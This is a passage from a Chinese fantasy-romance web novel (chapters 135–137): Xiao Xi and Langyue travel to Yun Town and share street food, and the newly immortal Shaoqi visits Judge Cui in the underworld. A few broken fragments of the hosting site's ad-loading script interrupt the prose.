她的过错不会消失,她的过错牵动着无数因果,故人和金瑶蒂受的伤害从来不会因为她意识到自己的过错后而消失,故人最后因为她彻底死去的事实也会在不久的将来上演,灾难和伤痕永远不会消失。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >青灯,你这一辈子过得真失败啊…… 爱而不得就算了,还惹得自己一身腥臭…… 方才,她要亲耳从萧喜口中听到的那句“我要赎罪”,哪有什么高大上的意义?她不过是想靠这一句话,看着同样因为过去而蒙受过伤痕的萧喜,寻得某种心理安慰罢了。 看啊,这世上又不止我青灯一个倒霉蛋…… 残酷的是,萧喜比她强多了,哪哪都要强。青灯不忍这样的萧喜会在以后变得和她一样,所以在上次就跟朗月要求过,希望萧喜可以早日解脱。 而她自己,就罢了。没人会救得了她,除非故人重新现世,愿意见她,但这怎么可能呢? 如今,她必须要做下去,金瑶蒂那小姑娘怪可怜的,她还等着有人去救她呢。至于故人的责备和怨恨,她一个人去承担好了。 青灯眸光微湿,她从脖子上摘下一条串着同样在夜中闪烁着幽微青芒的珠子的项链,项链中央坠着一只银色的青蛾纹样的挂饰。在充满幻色的黑幕下,那只被项链两边荧色珠串照着的银色挂饰微微摇晃,仿佛一只在一片幽青色花海翩跹着的,真正拥有着鲜活生命的飞蛾,虽是蛾,却怎么看都要比蝴蝶漂亮迷人。 青灯站起身来,慢慢弯下半截身子,亲手将珠串项链系上了萧喜的脖子上。 她的眼神映着淡淡的幽青,神情动人地看着萧喜,现在的她看起来温柔地似天上的仙女,她与萧喜四目相对:“拜托你了。” 银色青蛾挂坠贴近在萧喜脖下的锁骨间,冰凉的触感让她不禁耸动了双肩,她不知道为什么,自己很想哭,难过的感觉自脖子间的凉意不断地贯通进了她的全身,她真的忍不住了。 收下信物的萧喜在青灯的催促下,跟朗月齐齐出了后院。在他们跨出后院通向外面的高高的门槛时,天幕上的亮光倾斜而下,突然的光芒让他们的双眼为之一刺,等他们的双眼适应下来后,他们转身看向后院。 白天还是白天,黑夜从未插足,一切都恢复了原样。 荒草丛生的空地,冠子蓬松的高树,孤零零的石桌,几只稀稀拉拉摆着的石礅…… 迷人的幽绿色幻境消失了,披着两只双麻花辫的女人也和人间蒸发一般,消失得无影无踪。 萧喜恍恍惚惚的站在门槛前,望着这一切,感觉刚刚的自己做了一场不得了的梦。 朗月怔怔地看着院子里的一处方向,他知道,青灯从未真正不见过,她就立在那里,静静地看着他们,只是他们看不见罢了。 …… 怅惘之后,萧喜和朗月还是转开了身,朝出口走出去。而在他们看不见的囊括了黑幕的空间里,青灯踏着琉璃盏遍布的草地上,重新坐在了石礅上。 她端起面前石桌上的杯盏,里面还蓄着半杯茶水,她垂眸看着杯中的倒影,只有她一个人存在的天地里,杯中的落影也只能映着神色空落的自己。 她恍然地再度抬眸,望着后院还敞开的的大门,以门为分割线的黑白天地里,她看到白晃晃的门外,朗月和萧喜一高一矮的身形,沐浴在那充满希望和光明的世界里,一点一点地远去,去到了更远的地方,去她这辈子无法再触及的万千光华之中。 不知怎么回事,青灯竟觉得自己开始嫉妒他们了。意识到自己腾然而生的幼稚念头,她无奈地摇了摇头,笑着吞下了那半杯映过她倒影的茶水。 135. 云镇古街 萧喜和朗月出了庆阳镇后,朝着北上的方向又是徒步走了些时辰,直到能遇到稍微容易租到车马的地方才停下。 此时已经快到正午,两人均是大汗淋漓,朗月的情况稍微好一点,而萧喜则不容乐观,她整个人犹如泡过了水,全身上下没一处不湿透。 他们原定计划里是,为了加快速度和减少开支,是准备不再雇马车的,他们的骑术够用,所以选择随地租或是买两匹马过来。 然而,他们没有想到,换了条路线继续北上后,寻找人际稍多的道路会这么难。 很久很久之前,萧喜还在路上蹒跚着,拉着一张快要脱水的脸,还要不停地给予自己心理安慰:“快了快了,应该快了,我记得北上要不了多久就能到其他的镇子了。” 然而实际上,庆阳镇往北的地形上,隔着很大一块荒芜的地,与稍微往北的城镇之间相差甚远,似乎隔着一座极其难以跨越的“天桥”。 很久很久以后,她和朗月终于到达能看见人的还不算荒芜的车道,而萧喜所言的那些“要不了多久就能到”的莫须有的镇子,也只是在他们的幻想里存在过罢了。 两人如今体力虚脱,接下来天气又炎热,肯定不好再这样拖下去,于是原本租买马匹的计划就只能就此搁置了。 朗月看到车道上驶过一辆马车,想都没想,就拦下来,那车主在知道他的来意后,贼兮兮地加了价,他也只能全然接受。 萧喜跟在朗月身后上了车,全程一副要死不活的模样,但眉眼间除了虚脱以外,窘迫和为难的情绪也很有看头。 她下眯着眼,难为情地挠挠腮,摆上一副嘻嘻的讨好笑容,说道:“不好意思啊,破坏了计划不说,还让你破费了。” 朗月现在也很累,一路上的路都是脚踏实地走过来的,完全没有借助任何术法的他,一整个人泡在夏日的暴阳下,就算脚底板不累,但长时间的冒汗也给足了他缺水后的疲惫感。 但这也是没有办法的事,身体虚脱了在往后很快就能恢复,不过,要是就这样不负责任地把萧喜一个人丢在了那热得要命的荒郊野岭里,那才是真的大麻烦。 朗月累得有些不想说话,他只是平静地朝萧喜点了下头,示意他听到了她的话。 萧喜越看他这样就越觉得不安,于是她开始满地找起了自己的面子:“毕竟六七年过去了嘛,地形记不清也是常有的事情,下次我会做足准备后再行动的。” 朗月虽然疲惫到仅仅牵动一下自己面部的表情都觉得难受,但此时他还是没忍住抽了抽唇角,他这是要气得发笑的节奏,但终究没有要真的生气的意思。 他淡声笑道:“没有下次了。我记得今天早上出发的时候,你却是自信得厉害。我是不敢再信你了。” “别啊,别啊。”萧喜不乐意地嘟囔道,说着说着,还一副要往朗月这边凑的模样。 但此举动却被朗月无情制止了,他嫌弃道:“大家身上都有汗,你也不怕粘腻得慌。” 萧喜见此,只好讪讪地将前倾的身子收了回来。 听带路的车夫说,他们刚刚站着的那条车道地处偏僻,平常这条路都是不同城镇间运货用的佐道,路虽不太平坦好走,但好在人迹稀少,极少数常年运货的人在发现了这里后,常常借此躲避山贼强盗和一路卡关的贪员。 车夫收了他们不少钱,自然也会跟朗月他们卖弄不少好话。他说他们运气好,能在这种时候凑巧碰上了刚卸完货正往回赶的他,还说,这条路平日知道的人不多,能碰上人都算是样奇迹,到最后,还能吹自己心肠好,这么热的天还肯不辞劳苦地顺路带他们,连自己是“活菩萨”的这种鬼话,都能话弯弯儿都不拐的从嘴里冒出来。 这车夫聒噪得厉害,这么热的大中午,他还能在车棚子外面叽叽喳喳个不停,倒也是样本事。 萧喜皱着眉头,小声嗤叫了一声:“这师傅可真能吹!不仅能吹,还贪,他搁这儿唠到现在,说这说那儿的,怕是还嫌我们的银两给得少了哩!” 朗月睁开眸子,看到萧喜要睁不睁的眼睛,就知道她这是累困了,听到这些动静后又吵得她不得安闲,这才闹了脾气。 他将身子探出去,又抛给了那车马一串铜板,叫他莫要再聒噪。然后,他又顺便问了车夫,这车马要奔波到何时才能停下,又会在哪里停下。 车夫敛下钱财,一下子就态度端正了起来,说道:“这里偏僻得过分,寻日里至少也得过两个时辰才能到最近的云镇,我虽然家乡不在此,但都是在云镇先落脚,叫马和我都能休息一番。但今儿天热得慌,现在又大中午的,我这马年纪又不小,怕是要再慢许多了。就算是到云镇停步,也要消两三时辰的。” 朗月闻言眉头锁了些,他无言下来,似乎在思索什么。 车夫见这财大气粗的小少爷面色不对,便立马奉承上去,好话相劝道:“小的会尽快的,傍晚前就能到!到时候也不迟的,起码能在天黑前有个休憩之所嘛,云镇虽不比众多城井繁华,但好吃好住的都是数不胜数的!少爷不必忧心,只用好好坐车里安心修养着,小的就是累死了也要为您赴汤蹈火不是?” 车夫满脸堆笑,油光泛滥在他满是汗水的麦色面颊上,过分讨好的意味让朗月看得有些心理不适,他没有话术再去跟车夫纠缠,就只好默默退回了身后的车子里。 等他回来的时候,萧喜竟然已经歪过了头,昏昏睡去,平静的面孔褪去了常日里闹腾诙谐的情绪色彩,看起来竟显得分外乖巧。 车马一路摇摇晃晃,车子边挂着的一卷粗布帘子也随之飘动,外面金黄色的阳光踩着点子跳进来,扑到靠在帘子旁车板上熟睡姑娘光滑细嫩的面颊上,热气的升腾让她的脸因升温而渐渐透红,漏光静静打在她的长睫、鼻翼,和饱满的嘴唇上。她闭合着的唇瓣透着温和而恬静的肉粉色,白里透红,看起来似诱人而香甜的果子。 朗月盯着她勾人的唇,脑中不禁浮现出盛世人间那贵妃最爱的岭南妃子笑,心觉此物只可从玉盘珍馐中寻得,勾得人想尝尝。 车子遇上了石子,微微颠簸了一番,那粗布帘子晃动的幅度便更大了些,耀眼的光芒闪过朗月,他的瞳孔猛地一震。 顷刻间,帘子又合了上去,车内再度陷入灰蒙蒙的阴影之中,萧喜睡得依旧安稳,一切都还是原样。唯有朗月僵住了身体,神情不自然地低下头,脸一阵一阵地发烫。 他……到底怎么了,他这是疯了。 可怕的念头和方才突如其来的亮光一样,扫过他的印象里,他慌乱地阖上了眸子,捏起了静心诀,端坐着默默吐纳吸气,试图让自己快速沉静下来。 不知不觉间,他便也浅眠了下去。 而他和萧喜再次醒来后的时候,就已经是三个时辰之后的傍晚了。 “小少爷!还有那位小姐!云镇到哩!快快下车吧!”车夫擦着汗水,拉住马匹,操着一口大嗓门,往车里吆喝了一声。 车夫的嗓门着实不小,萧喜被吓地一震,顷刻就清醒了。而朗月也已经睁开了眸子,准备起身下车。 “多谢。”朗月随意地作揖道了声谢,虽然动作多少有些敷衍,但语气还是平稳诚恳的。他说着话的时候,眼睛并没有盯在车夫身上,而是迅速用眼风扫视了一下四周,想尽快熟悉整个叫做“云镇”的陌生地方。 萧喜伸了个懒腰,紧跟朗月的动作,扶着车板下了地。她和朗月一样,心里都持有一定的警惕心,所以一到地方不是急着照顾自己的感受,而是用最快的速度,扫视了一下周身的景象。 临近傍晚,暮色上涌,云镇大大小小的房舍都陆续点上了灯火。 萧喜和朗月借助还算凑活的灯光环看着这一切,他们发现云镇的景色和沧凌城、庆阳镇等等南方地界上的城镇大有不同,云镇已经属于偏北的地方了,听说北方的人们为了应付比南方更加寒冷干燥的冬季,不会让房屋拥有太多的窗户。 除了各种各样建造的工艺的不同外,这里的自然风光也很特别,在云镇,是不会看到沧凌城或是庆阳镇那些恨不得遍布各个角落的河湖景光的。 并且,云镇的确不算多繁华,远远比不上沧凌城那样的江南水色,但跟庆阳镇,甚至是跟平台镇比,还是绰绰有余的。 不知不觉间,他们已经上了街道,将车夫等人甩在了身后。 此时,萧喜正苦恼地摸了摸肚子,对着自己的肚子摆出了一副楚楚可怜的模样。 朗月甚至眼睛都没动一下,就叹了一口气,说道:“想吃什么?” 萧喜眸中顿时放光,她眯眼朝前探过去,用发现了新大陆一般的新奇语气,大声道:“牛肉手盘面!我想吃这个!” “你吃过没有?” “没有。” “我也没有。” “那还等什么呢?”萧喜静了静,她从兴奋的状态转变成冷静,花了不过一眨眼的时间。 朗月终于侧过眼来看她,两人刚好来了个心照不宣的对视。 他就知道……萧喜刚刚那问话,似乎就是为了确认他到底会不会跟她一起吃。 “我付银子。”他不禁捏了捏眉心。 “小公子,大气!”萧喜又从冷静的状态转回兴奋,这次甚至连一眨眼间的时间都没花。 两人坐上了挂着招旗的摊位下,看热心的老板娘手法熟练地揉搓面团,再抛入空中,掏出一把被擦得锃亮的刀分分钟将面团切成细丝,再落入泡满了香浓汤汁的大锅中。 随着一盘牛肉、葱花、香菜、辣椒相继入锅后,一阵阵被牛肉香气包裹着的酸辣味随着锅中不断翻滚升空的白色烟雾飘荡在了摊位的每个角落里,继而再席卷进了更加深远的大街小巷里。 萧喜和朗月被这股迷人得叫人欲罢不能的香味勾住了胃口,萧喜摸着肚子觉得里面更空了,空地得受,胃都能快饿萎缩了,原本还没那么饿的朗月,如今也快要招架不住这令人忍不住口舌生津的香气了。 越来越多的人被香气吸引而来,很快萧喜和朗月两人身边多余的空位就都被路过的人群占满了,众人无不仰着鼻头,去嗅半空中不断飘扬的牛肉混着油水的酸辣香味儿,满脸幸福。 萧喜伸长了脖子,越过了攒动的人头和半空雾蒙蒙的湿润得快要滴出香浓汤汁的白色雾气,去看街道上的光景。 天色暗下了,老板们争先恐后地竖起了自己家的招牌,在香气熏天、雾气蓬勃间忙得热火朝天,不亦乐乎。而他们的摊位上,也无一不坐满了人群。 无论是萧喜,还是朗月,还是这些热 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情似火的老板们,还是迫切等待美食粉墨登场的食客们,无一不被这些互相冲撞却毫无戾气的各色香雾包裹进了这个幸福的小天地里。这里的香气具有比任何术法都要强的效力,好像无论是谁,闻到了它们,就自动将心里的烦恼排斥到了九霄万里之外,人们变得极易知足起来。 食客们的牛肉汤面被相继端上来,萧喜护着自己面前的烫碗,垂着眼看碗中还在“咕嘟咕嘟”翻滚的浓汤,莫知莫觉间,湿烫的雾气就熏红了双眼。 她从未想过小城小镇的烟火气,竟然会比更加繁华更加地大物博的沧凌城还要热闹数倍。 她吹着热气,一边朝朗月感叹道:“虽然这里的饭菜没有沧凌城那么精致,却给了我更加温热的感受,光是看着,都觉着它们会有无与伦比的味道。” 朗月睁着同样温红的双眼,说道:“云镇是小地方,人群更易聚集到一处,自然会热闹。但我觉得这并不是根本的原因,沧凌城也常有人潮多到偌大的街道都塞不下的时候。你之所以觉得云镇格外特别的原因,在很大一定程度上在于你自己的改变。 恭喜你正一步步走出六年前的阴影,萧喜,未来的你一定会变得更好,就像这人间的烟火气一样,越来越热闹。” 萧喜埋头喝下了一口牛肉汤,酸辣的味觉在她的味蕾爆开,辣意带动了她全身的热气,她的脸红辣辣着,笑得很开心:“那我就希望这人间的烟火气会一直,一直,一直地热闹下去。” 朗月笑道:“会的。” 饭毕,他们擦擦嘴上的油光,正准备起身离开,却又被街道上新来的一声声叫卖声勾去注意力。 “卖冰糖葫芦!卖冰糖葫芦了!” “卖糖葫芦!” “卖糖葫芦了!” “……” 萧喜被湿气熏着的眼睛还闪烁着湿润的目光,她呆呆地立在摊子旁,朝叫卖声的方向出神地望着。 朗月发现她的目光里装着很多故事,而这些故事至今终于被他全然知晓了,他不会再读不懂她这样的目光了。 萧喜如今这副模样,倒像极了站在路边眼巴巴地瞧着自己喜欢的甜食却没办法买到的可怜孩子一样,她湿漉漉的眸子上覆着一层,像极了这样委屈巴巴的孩子眼中才会蓄着的泪光。 朗月感觉自己变成了一具提线木偶,没有了自行思考的能力,身体也开始不受使唤,他主动朝街道上迈开步伐。 他取出两只铜板,从那小贩手里换来一串红彤彤的冰糖葫芦,他满眼期待着快步荡过街道,一路上引来无数孩童的艳羡和无数大人们疑惑的目光,他的身影在最后撞入萧喜慌乱却惊喜的眸火之中。 他的唇弯起了好看的弧度,微微一笑,煞是真纯,简直像是变了个人,他原本身上那锋利凌冽的霜雪气,在此时此刻终于被热气腾腾的烟火香气彻底烘化,散去…… “萧喜,这一次,你可以放心、大胆地为自己买下一串属于你的冰糖葫芦了。” 他将那串红得人眼睛发晃的糖葫芦递给萧喜。 属于我的…… 萧喜怔怔地在心中默念…… 无数画面在她的脑海里飞速飞散。 无论是六年前金瑶蒂举着糖葫芦朝她微笑的场景,还是平台镇时看到几只为冰糖葫芦争执不休的小儿的场景…… 这次,她终于可以抛下一切顾虑,也不用再考虑原因后果,可以买下属于自己的、不参任何情绪“杂质”的糖葫芦了。 萧喜颤抖着双手,小心接过朗月手里的东西,轻轻咬破了糖衣脆壳,里面红彤彤的果实酸甜味交加,明明……很好吃,才没有她之前说的那么不堪,也没有印象中那样糟糕,这串糖葫芦没有沾染过像六年前那样的泥土灰尘…… 她一下子就乱了心智,有些胡言乱语起来,矫情着情绪,嗫嚅道:“你瞎说,这串糖葫芦是你买的,才不是我买的。” 朗月失笑,毫不客气地反驳:“现在你倒是学会斤斤计较起来了,之前老在我这儿骗吃骗喝的时候,你怎么不这么想?” “你……”萧喜思绪乱的厉害,她压根辩不过他,吃下亏后,她发现眼睛是真的酸了,怕是被他气的。 “走了,去找客栈了。”萧喜仰头踏步出去,故作一副镇定自若的模样。 朗月跟上她的步伐后,自然没肯放过让她吃瘪的机会,他打趣着明知故问道:“怎么,又哭了?” 萧喜一下子就怒了,像奓毛的猫一样,要往他身上撞上去。 “你瞎说,我没有!” 但考虑到自己手上的东西会让她的行动受阻,她又着实舍不得这么好吃的东西会因为她不小心的动作被弄坏了,就莫名熄火下来。 而此时,朗月的身影已经走在很前面了。她就屁颠屁颠地又跟上去,眯了眯闪烁着奇异的分享欲的光芒的眼睛,指着手上的冰糖葫芦,说道:“你要不要吃,真的很好吃。” 朗月淡言拒绝。 “吃嘛,真的很好吃。” “你自己吃就好。” “吃嘛……” “你已经吃过的东西,我不吃……” …… 从这刻起,沧凌城就完完全全沦为往事故谈了,这里更是历史的节点,新的篇章正在翻页到来。 136. 翮归元武(1) 天上一日,人间就匆匆过去了一年。 少七和昭玉被卷入藏在曾经作为上古战场的毗邻山中的往世镜中,堕入了地府,被抹除了记忆和身份,等待降生于人间。但少七却因为跳错了井,直接还魂到上一世的身体之中,不过,因为少五的原因,还魂回去的身体自然不会是他原来的那具。 再后来,他就有了豫县那段不太愉快的经历,被误封印后的他只好待在黑柄剑中沉睡着,历尽了百年轮转又更迭不断的春夏秋冬后,他才以“剑灵”的身份,与已经变成了凡人的元武掣殿下,也就是仙机门的小公子朗月相遇。 如今少七万事因果皆了,他的仙根在突破了桎梏后,便不再被捆缚生长,直接显现了出来。仙根刚现形,他就被手持请神录的女官当场领回了天界。 他被封作“少翮仙君”,也仅仅算是踏出了成仙的第二步,而最后一步则是要去司法界那里叫天司给他开灵智的,灵智既启,便要由天司决定他的归处了。 而他其实早已有所预料,他最后的归属应当是元武掣战神殿的,毕竟先前他的确在此处干过事儿,是有些渊源的,而且他确实对殿下有不少感情,现在要他去别的殿下或是大人那里干事定会不习惯得厉害。 少七此时刚被女官领到天界南天门前,却又忽然顿下,不再走了。 女官见还有不少远远紧簇着的,爱看热闹不嫌事大的仙人仙君们,看着她和少七,她略微皱眉,朝那些还在交头接耳的家伙们扫了个眼风过去,那帮人群就哗啦啦顷刻散了。 如今仅剩下两人的南天门前,女官对着少七微微颔首交代道:“少翮仙君还未开灵智,并不算真正的仙人,按照寻日里的规矩,自然不好进南天门。你且在此处等我片刻,我需向司法界天司禀报你的事情,才好再做安排。少翮仙君,你可听明白了?” 女官不苟言笑的眼神盯得少七发怵,他不敢跟这位凶如大虫的女官交流,回话便只好忙不迭地点头。 女官满意地收回眼神,她默默从袖子中甩出一把金灿灿的粉末,那粉末闪得人不禁眯眼,眼看着它们要散得到处都是的时候,却立马汇聚成了两把通红喜庆的卷轴。 她先展开那卷名为“请神录”的卷轴,用同样在手中幻化显形的红墨毛笔,在卷轴上划去了“少七”名字。后而她又展开第二卷名为“因果”的卷轴,仔细扫视了一番后,又看着少七说道:“少翮仙君身上的仙根来源倒是与众不同,因果轴上提及,你在下凡历劫前曾是地府游魂,不得成仙,不得入轮回。那时,天界乞巧日正缺人手,于是你受地府崔判官提携,上了天界,归在元武掣殿下手底下做事。少翮仙君,你可有印象?” “有……” 那女官眯眼琢磨道:“少翮仙君的仙根应与崔判官有很大联系,往后你在天宫里做事,大可多去跟崔大人攀攀关系,好叫你这个新仙君在天宫有个依仗,不受欺负。” 女官平日做事向来雷厉风行,绝不会像今日这样在南天门前大废口舌提点少七。她看着他不过十来岁的少年儿,却经历了那些疼痛残忍的往事,她心里还是没忍住动了恻隐之心。 “还有一个时辰,我会回南天门接应你,现在便可去了,不然,以后进了天宫有你忙乎的,就找不到机遇了。”女官忽然狡黠一笑,接着她就转身朝天门内大步行去,身影很快被漫天云雾遮掩得一干二净。 少七怔怔地作揖,僵住的背脊在很久后才慢慢软化,再挺直回来。 他知道,女官的意思就是叫他趁现在去拜谢崔判官之恩。可是,他的感觉总是在不断告诉他,自己的仙根之所以能成熟,并非是崔判官的功劳。 他觉得自己应该还有很多事情没有想起来,可是…… 不管他怎样使出浑身解数,都想不起来,甚至越想越觉得头晕,他察觉到自己想不起的东西大部分都与天宫有关,觉得大几率是还没有正式开灵智的缘故。 他站在高大的南天门外,门外两员镇门大将身躯高穿云海,他盯着大将直穿云天的如同大柱般的双腿后,默默收回了备受震撼的眼神。门里门外被万片吞吐风流的白雾掩盖,他极力放眼过去,仅仅只能看到天宫里无数玉宇琼楼高高的尖塔,它们还是老样子。 两百多年的人间岁月,至今上天一看,才过了两百多日,这令他不禁感到恍惚。 …… 少七抓紧时间,回了地府一趟。 地府一向忙碌,地府与人间无缝相接,它的时间计法与人间一致。两百年过去了,人间生死轮转不断,地府的公务自然就不断了,地府的人手又少得很,所以没有哪一天哪只鬼差不是忙得焦头烂额的,现在也不例外。 无数地府鬼差已经很多天没睡好觉了,大家脾气阴郁地守在排成长龙的队伍的人畜妖的鬼魂旁,大声呵斥催促着鬼魂们行径的进度,有时候还要上脚踢上他们一顿。就像两百多年前,少七遭遇过的一样。 少七刚到此地,四顾张望了一番,没见到熟人的身影,便只好往地府里面继续深入了。他一边走一边感叹,不仅是天宫,地府也还是老模样,一点都没有变。 地府大门外还稍微有些光线,但越是往里面的建筑深入,就越是晦暗,到最后仅有墙壁上破破烂烂的火光苟延残喘地吐着亮气,叫人不至于迷路。 他来到奈何桥边,远远看着排成长龙的浩浩荡荡的队伍,心中感慨无限。他已入仙道,身上的轮廓总散着淡淡的仙光,而今来到晦暗而阴气极重的地府,这些淡色的光芒竟然愈发金灿。很快,他就意识到了这一点,而且他看到他的光芒已经吸引了无数鬼魂鬼差的目光,那些死者空洞残缺的面貌齐齐转过来盯着他看,让他背脊发毛。 少七刚要起身快步离开,背后就有鬼差奉承了上来,把他吓了一跳。 “哟,这不是仙官老爷吗?不知今日到我这地府,有何贵干啊?” 鬼差满脸挤笑,两颗尖锐的獠牙戳在少七的视野里,让少七感到一言难尽。 “带我去见崔判官吧。” 少七想这也挺好,借着身份找人办事总归比自己去满大街找要好。 一路上,少七听那鬼差扯了不少闲话,这让他不禁感到尴尬。但好歹,鬼差听到他要找崔判官后,想着说起仙官老爷感兴趣的事情来讨喜,于是他变着法子说起了地府和崔判官的事。本想着少七届时到判官大人面前给他美言一番,好让他少做些差事。 鬼差提到,这些年来的人间总是越来越不太平,这让阎王爷和众多判官愈来愈不安,也让本就忙碌的地府雪上加霜。崔判官也被公务压得抽不开身,没日没夜都在判官府上办理事务,所以在外面要找到他已经是不可能的事情了。 判官府—— 崔判官原本肥硕红润的面颊已经消瘦了大半,面上的油光也不再泛起。他撮着胡子,瘫在太师椅上不断地从手旁堆积如山的书卷里翻翻找找,屋子里除了翻书之声以外,就再没有其他的动静了。判官做起事情来格外上心,甚至连府外的通报声都没有听见。 接着,少七都步入了大堂,崔判官对此都毫无意识。 最后还是少七一声请安,才打破了判官愈发魔怔的混沌思绪。 空气安静了很久,崔判官看着眼前这个既熟悉又陌生的少年,一时失语,他甚至抽出撮胡子的手挤起了眼睛,生怕自己看错了。 “少七……”判官喃喃道。 “崔判官,好久不见。”少七抬眸,晶莹的双目将他的笑容衬托得更加纯真,他全身都散着引人注目的明媚的气息,与几百年前那个眼神空洞又精神破败阴郁的少年判若两人。 “真的是你?!少七!你,你,你如今怎么变成这样了?!不对不对,你,你,你……现在是仙了?可是,你之前不是入轮回了么?怎么,会,会……” 崔判官脚下生风一般,撩起长袍风风火火地跑下台阶, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直接到堂下少七的面前,上上下下打量起来。因为太过惊讶,他显然还没有反应过来,说起话来也语无伦次的。好似,少七好不容易除掉的口吃的毛病转移到了他身上。 少七眼神微滞,他带着迟疑的语气说道:“不久前,我才被请神女官从凡间提上来,女官和我说,我体内原本存在着仙根发源之迹。因果轴上写着判官您之前提携我去天宫之事,所以,她说我这次能够直接入天界成仙,有您的功劳。” 崔判官一脸讶然,慌忙摇头道:“我之前仅说过一嘴你有无量仙根的缘分,想着要是能将你送到阳气仙气重的天宫后,可以助你唤醒仙根之缘。但!我却从不记得自己有能直接助长你体内仙根发迹的本事啊! 况且我听你话的意思是说,那个请神女官说你之所以能这么快登仙,是你在入凡尘之前就有了仙根的根系了。女官说话不会出错……我又是唯一一个与你相交较深的神仙,她会这么觉得倒是正常。但此事的确不是我能力范围内可以做到的,不仅仅是我,咱地府的一把手,阎王爷大人都是做不到的!” 果然,他的直觉没有错,少七心中细细想着。 那么,究竟是谁帮了他? 少七眉头紧锁起来,他的头又开始疼了,似乎是他的神智因他想擅闯封禁记忆而被触怒,给了他惩戒。 他究竟忘了什么? 崔判官看少七神色不对劲,便再没继续说下去,而是道:“看你这副模样,是还没开灵智吧?” 少七苍白着脸色,点头道:“所以一个时辰后,我就要回去,女官叫我届时跟着她去天界司法界报道,马上就能开灵智了。” 崔判官忽然笑起来,他干涩的嘴皮子在他大幅度的拉扯下,裂出了很多细长的纹路。他在短时间就瘦下很多,所以脸上的皮肉很松弛,完全撑不起来这只笑容,所以会给人一股皮笑肉不笑的感觉,实属别扭。 少七很少看到崔判官做出这副……不安好心还贼兮兮地遮掩的模样,于是,他不安的脚步虚浮了几度。 崔判官搓搓手掌,像只猥琐的大苍蝇,蓄力着,他说道:“我记得不错的话,开完灵智后,天司是要给你分配归属职位的吧?怎么样,要不要来地府?到时候,你把话说得漂亮一点,提出自己的意见,天司应该还是能够接受的。” 少七吓得目瞪口呆,反问道:“那不是跟天司大人叫板子吗?!” “哎呦,天帝闭关着,那天煞的元武掣大人也消失了要两百多年了,司法界如今只由天司大人一人掌舵,事务繁多,很多事情都是力不从心的,你要是乐意自己提意见,还减轻了他老人家的负担呢。” 崔判官正极力让自己的表情显得循循善诱起来,但最后呈现出来的效果,好像也如他话里所说的一样,是力不从心的。 少七抽了抽嘴角,不免提到:“地府向来缺人缺得厉害,每天大伙忙得都快脑子抽筋了吧?判官大人,您这是觉得我单纯好骗,直接不肯放过拉我进贼窝的机会了。 但我也实在没有办法,我从前与元武掣殿下结过缘,殿下消失后,元武殿上上下下都散慢了很多,天司分配我归属时,定会优先选择元武殿了,哪里轮得到我说话,况且我也实在不敢与天司大人顶嘴啊。” 崔判官闻言笑容立马一耷,算是恢复了正常,他泄气得厉害,说起话来都有气无力了:“你说的倒也是……唉,但是这些年来人间就跟着了道一样,不知道怎么的就死那么多家伙,死状还忒惨,浑身长血虫子呢,处理起来比普通鬼魂难多了!地府缺人厉害,我这些日子天天到处查找名册,想就地从鬼魂里挑些能力出众的鬼过来办事,结果有能力的,要么不肯来,要么不合命数,没能力的就不说了,一抓一大把,而且也不合规矩。烦死了……” 少七想了想,他脑中闪过一个念头,他说道:“我倒是有个人能介绍给您,绝对靠得住,一个顶三呢,而且刚好命数全部尽了。” 137. 翮归元武(2) 崔判官登时来了劲头,忙上赶着问道:“谁啊谁啊?!” “苏且光。实不相瞒,此人在凡尘与我有些渊源……” 少七理好了言语,便适当地将苏且光跟柳芊芊的经历说了出来,也解释了所谓的命数全尽的意思——苏且光化作游魂后又被燃魂,最终沦为魂末,消散不见。 但少七也解释过了,苏且光魂散的日子并没有过去多久,以他如今的本事,是可以汇聚那些魂末的,也就是说,能尽力让苏且光重新回归到亡魂的状态。 就算此事办起来叫他觉得够呛,也会有崔判官助力,听崔判官的意思是,如果苏且光愿意来的话,他可以全力帮忙,用阴气聚魂,不过,代价就是,这个苏且光就会变成从前的少七,永生永世只能苟且在这暗无天日的地府中,繁忙劳碌。 而今问题是,苏且光真的会愿意来吗? 崔判官思及此,不禁愁道:“我听你说,这位……苏且光生前是个很有本事很体面的大将军啊,叫他来地府做个鬼差……他愿意吗这……” “他会的。”少七说道,脑中浮现出一张熟悉的面孔,但面孔真正的主人不再是他曾经认识的阿霖,而是柳芊芊。他想,苏且光应该也想再见柳芊芊一面吧,而柳芊芊的身影应当就在,方才他在奈何桥边看到的那条浩荡蜿蜒又一眼望不到尽头的队伍中吧。 “不过,判官大人得看着我面子,多提拔提拔他才是,”少七又道。 “这都不是问题,”崔判官反应很快,但这些日子他练出的勤于忧虑的习惯,也很快给他发了新问题,他说出了心底最后一个疑问,“不过,你怎么会这么想帮苏且光?你既然能入仙道,前尘往事纵使是都记得,感情也该都淡却了才对啊?苏且光的死活与你都不会有关系了,你费得着这么关照他?” “没有的事情,我就是脑海里还有此人的印象罢了。而且……我也不是要帮他,我这不是看您为地府操劳过度,才要给您出主意么?不用白不用,不是?” 少七笑起来,但他比任何人都清楚,自己在说谎,现在说的很多都是违心话。 “也是也是,少七有心啦!亏我从前没白疼你!”一番好话说出来,顷刻间就打消了崔判官敏锐的念头,他乐呵地撮起黑须来,不停地叫好。 交代好剩下的关于苏且光的事情后,少七没要崔判官送,自请出了判官府。 而甫一出门,他方才还笑意满满的面色立马就拉了下来,取而代之的是惘然失意的神色。 他之所以在崔判官面前举荐苏且光,很大一部分都是出于私心。私心中囊括着对还在凡间的朗月的流连,和对柳芊芊的怜悯。 尽管他都知道朗月不过是元武掣殿下留在凡间的一角幻影,但在他的印象中,朗月是极为重要的人,是曾在他的生命中真实存在过的挚友。从现在这一刻开始,两百年前对元武掣殿下的感情,再也不仅仅是单薄的畏惧或是敬畏了。 这一世,朗月幼时就经历了家破人亡的残酷现实,他的父亲死于乱政,生母为了保全他,不得不将他送去仙机门。 朗月的隐忍早熟和异于同龄人的冷静并非天生就有,他在多舛命运的波涛中随波逐流,他变成这样完全是身不由己的,所以他才必须改变自己,让自己变成如今这副模样,才可以拥有足够保护自己的能力。然而,他在获得这些的时候,曾经鲜活又明朗的少年心事和情绪就必须被舍弃。曾经的朗月,早就被丢失在了不为人知的某个角落。 